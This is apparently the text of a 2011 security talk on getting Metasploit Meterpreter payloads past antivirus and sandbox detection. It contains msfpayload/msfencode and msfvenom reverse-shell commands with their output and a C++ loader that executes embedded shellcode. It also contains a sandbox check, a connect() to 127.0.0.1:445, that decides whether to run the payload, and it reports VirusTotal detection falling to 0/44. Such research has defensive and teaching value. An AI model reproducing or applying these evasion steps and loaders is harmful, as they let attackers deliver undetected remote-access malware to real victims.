Antivirus

Sandbox evasion

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Introduction

Metasploit

- Metasploit Framework is a tool for <u>developing and executing exploit code</u> against a remote target machine.
- Also, Metasploit Framework provide the ability to generate <u>malicious EXE files</u> (which is interesting for this topic).
- Our main problem
 -) Most Antivirus software recognize these malicious EXE files. \otimes
- Our goal
 - Make these malicious EXE files undetectable.
- Our approach
 - Play with <u>http://www.virustotal.com</u> (44 antivirus) until we reach **0 detection**.
 - Confirm our results with Virtual Machine (Windows7) and some popular AV.
 - Tests will be limited to the "Meterpreter" payload.

Virustotal – Test 01

Usual EXE file generation (+encoding)

```
[root@linux]$ ./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.3.6 LPORT=80 R / ./msfencode -e x86/shikata_ga_nai -c 4 -t
raw | ./msfencode -e x86/jmp_call_additive -c 4 -t raw | ./msfencode -e
x86/call4_dword_xor -c 4 -t raw | ./msfencode -e x86/jmp_call_additive -c
4 -t exe > /tmp/payload01.exe
[*] x86/shikata qa nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata qa nai succeeded with size 371 (iteration=3)
[*] x86/shikata qa nai succeeded with size 398 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 429 (iteration=1)
[*] x86/jmp call additive succeeded with size 461 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 493 (iteration=3)
[*] x86/jmp call additive succeeded with size 525 (iteration=4)
[*] x86/call4_dword_xor_succeeded with size 554 (iteration=1)
[*] x86/call4 dword xor succeeded with size 582 (iteration=2)
[*] x86/call4 dword xor succeeded with size 610 (iteration=3)
[*] x86/call4_dword_xor_succeeded with size 638 (iteration=4)
[*] x86/jmp call additive succeeded with size 669 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 701 (iteration=2)
[*] x86/jmp call additive succeeded with size 733 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 765 (iteration=4)
```

Virustotal – Test 01

Results

29/44 AV have recognized the file as malicious

0 VT Community user user(s) with a total of	VT Community			
File name: Submission date: Current status: Result:	payload01.exe 2011-09-12 08:24:39 (UTC) finished 29/ 44 (65.9%)	not reviewed Safety score: -		
P Compact				Print results
Antivirus	Version	Last Update	Result	
AhnLab-V3	2011.09.11.00	2011.09.11	Trojan/Win32.Shell	
AntiVir	7.11.14.163	2011.09.12	TR/Crypt.EPACK.Gen	2
Antiy-AVL	2.0.3.7	2011.09.12	-	
Avast	4.8.1351.0	2011.09.11	Win32:SwPatch [Wrm]
Avast5	5.0.677.0	2011.09.11	Win32:SwPatch [Wrm]
AVG	10.0.0.1190	2011.09.11	Win32/Heur	
BitDefender	7.2	2011.09.12	Backdoor.Shell.AC	
ByteHero	1.0.0.1	2011.09.03	Trojan.Win32.Heur.	Gen
CAT-QuickHeal	11.00	2011.09.12	Trojan.Swrort.A	
ClamAV	0.97.0.0	2011.09.12	-	
Commtouch	5.3.2.6	2011.09.11	W32/Swrort.A.gen!E.	ldorado
Comodo	10083	2011.09.12	-	
DrWeb	5.0.2.03300	2011.09.12	Trojan.Swrort.l	
Emsisoft	5.1.0.11	2011.09.12	-	
eSafe	7.0.17.0	2011.09.11	-	
eTrust-Vet	36.1.8550	2011.09.10	Win32/Swrort.A!gen	eric
F-Prot	4.6.2.117	2011.09.11	W32/Swrort.A.gen!E.	ldorado
F-Secure	9.0.16440.0	2011.09.12	Backdoor.Shell.AC	

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Virustotal – Test 02 An EXE file without any payload ...

[root@linux]\$ echo hello | ./msfencode -e
generic/none -t exe > /tmp/payload02-empty.exe
[*] generic/none succeeded with size 6 (iteration=1)

Virustotal – Test 02

Results

 The file is not malicious. However, nothing changed on VT.

29/44 AV have recognized the file as malicious

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is malware.

File name: Submission date: Current status: Result: payload02-empty.exe 2011-09-12 08:29:02 (UTC) finished 29/ 44 (65.9%)

See: <u>http://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/</u>

Virustotal – Test 03

C++ version

```
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR
                               lpCmdLine,
                              nCmdShow) {
                     int
           #define SCSIZE 4096
           unsigned char *lpAlloc;
          lpAlloc = (unsigned char*)VirtualAlloc(0, SCSIZE,
                          MEM COMMIT,
                          PAGE EXECUTE READWRITE);
          unsigned char buf[SCSIZE] =
          "\xfc\xbb\x0c\x89\xc9\xf3\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
           "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xf0\x32\x26\x39\x92"
           "\x25\x52\xb2\xfc\xf3\x95\xd5\xad\xfd\x16\x6c\x6d\x88\x6f\xac"
           "\x85\x9c\x6f\xcc\xaa\x70\xe1\x8e\x84\xb1\x53\xd8\x38\x78\x59"
           "\x85\x43\x5f\xd1\xa5\xfd\xbc\xd4\x83\x03\x48\x1e\x4e\x79\x7a"
           "\x83\x7b\x45\x04\xa7\x90\x6e\x11\x27\x67\x8f\x25\x27\x67\x8f";
          memcpy(lpAlloc, buf, SCSIZE);
          (*(void (*)()) (void*)lpAlloc)();
          return 0;
}
```

Virustotal – Test 03 Results


► From **29**/44 → **2**/44 !

Antivirus	Version	Last update	Result
Kaspersky	9.0.0.837	2011.09.12	HEUR: Trojan. Win32. Generic
Microsoft	1.7604	2011.09.12	Trojan:Win32/Swrort.A

▶ Not that bad, but it's not 0/44 ☺ ...

Virustotal – Test 04 Same as Test 03, but with a home-made Encoder/Decoder

Question: "Are the MSF decoders known by Antivirus ?"



In "Test 04", we use a home-made encoder/decoder, to be sure that the Metasploit decoder (in blue) is unknown from AV signatures.

Virustotal – Test 04 Results

Nothing changed on Virustotal... Still Kaspersky and MS..

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is malware.

File name:	misc-p4.exe
Submission date:	2011-10-02 18:07:15 (UTC)
Current status:	finished
Result:	<mark>2/43 (4.7%</mark>)

Why doesn't it work ?

- Because of a Sandbox mechanism...
- More than Signature and Heuristic detections, our EXE file is also executed and analysed inside a closed/virtual environment (Sandbox).
- It doesn't matter if you encode or encrypt your malicious code. Indeed, if your code holds the "decoder", the Sandbox will use it as in an usual execution.
- During the execution, it could be useful to know: "Are we currently running inside or outside the Sandbox?"
- Why ?
 - If we are running <u>inside</u> the Sandbox: **Abort the execution**.
 - If we are running <u>outside</u> the Sandbox: Decode and execute the payload.

Sandbox evasion – Test 01

A simple "Download & Execute"


Approach

- > The malicious code (payload) is not stored in the EXE file any more.
- The EXE file will now "download and execute" the payload.
- > This test is performed on a Virtual Machine.

Interesting results

- When running inside the Sandbox, the payload is <u>not</u> downloaded.
- When running <u>outside</u> the Sandbox, the payload is downloaded and executed.
- Actually, this is an expected result as the Sandbox is supposed to be a **closed environment.**
- Conclusion
 - From the Sandbox, network sessions seems blocked/forbidden or not emulated.
 - What about network sessions over the loopback interface ? (127.0.0.1)

Sandbox evasion – Test 02 Self delivering using 127.0.0.1



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Sandbox evasion – Test 02 Virustotal results

Suspense ...

► Goal $! \rightarrow 0/44$

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is malware.

File name:	misc-thread.exe
Submission date:	2011-11-11 20:24:27 (UTC)
Current status:	finished
Result:	<mark>0/ 40 (0.0%)</mark>



Sandbox evasion – Test 02 On Windows7 using Kaspersky

		vvar
Kaspersky Internet Security 2012 Aide		
CONTRÔLE DES APPLICATIONS		The
Lancement d'un programme qui peut être dangereux : MISC-THREAD.EXE (i) ne possède pas de signature numérique, possède un classement de danger élevé.		signa pote
Faites-vous confiance à cette application ?	►	Scor
Oui, je fais confiance Toutes les actions de cette application seront autorisées		Etat / Gro
Oui, partiellement Autoriser l'exécution du programme, bloquer les opérations dangereuses seulement		Evaluatio Signature
Bloquer		
L'application sera bloquée et ne sera pas exécutée Vous utilisez une version d'évaluation. Il est conseillé d'acheter une version commerciale.	•	(Mm

- Warning Popup !
- The following program has no digital signature and has been rated as potentially harmful
- Score risk: 100



(Mmmmm...)



Sandbox evasion – Test 03 connect(127.0.0.1:445)

Hypothesis

- File Sharing (Netbios) is running on a Windows system (by default).
- In this case, port 445/TCP is listening and is reachable on IP 127.0.0.1 (even if blocked by the Microsoft Firewall)

Description of this test

- According to our previous test, we should **NOT** be able to establish any network sessions while analysed inside the Sandbox.
- Therefore, lets try the following
 - IF connect(127.0.0.1:445) = OK; then assume we are running <u>outside</u> the Sandbox.
 - IF connect(127.0.0.1:445) = NOK; then we are probably running <u>inside</u> the Sandbox.

Sandbox evasion – Test 03 Kaspersky Results

- New score: 40 !
- No more popup/warning !



• and the payload is executed (of course) ©

Sandbox evasion – Test 03 Other Antivirus vendors (tested on Windows7)

- Avira
- Avast
- Avg
- Bitdefender
- Kaspersky
- Mcafee
- MS Essential Security

- ESET nod32
- Gdata
- F-secure
- Panda
- Sophos
- Symantec (my best friend)

The final "tool" ...

- \$./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=172.16.1.1 LPORT=443 | ./ultimate-payload.pl -t ultimatepayload-template1.exe -o /tmp/payload.exe
- [*ultimate] Waiting for payload from STDIN
- [*ultimate] Payload: read (size: 367)
- [*ultimate] Payload: encode (new size: 1161)
- [*ultimate] Template: read 94720 bytes from file
- [*ultimate] Template: found pattern 'MY_PAYLOAD: ' at position: 36928
- [*ultimate] Output: add the begin of the template (size: 36928)
- [*ultimate] Output: add the encoded payload (size: 1161)
- [*ultimate] Output: add the end of the template (size: 18502)
- [*ultimate] File '/tmp/payload.exe' generated (size: 94720)


Conclusions

- No deep knowledge was required to achieve this.
- No 0-day exploits were needed.
- The technique seems to work against all antivirus software (further tests must be done to confirm it).
- The key question was:

"What is not executed/emulated inside a Sandbox ?"

- Actually, (part of) the answer was really simple. We only had to use some network system calls.
- We assume that plenty of other techniques exist...
- Happy hunting ! ;-)

Question ?



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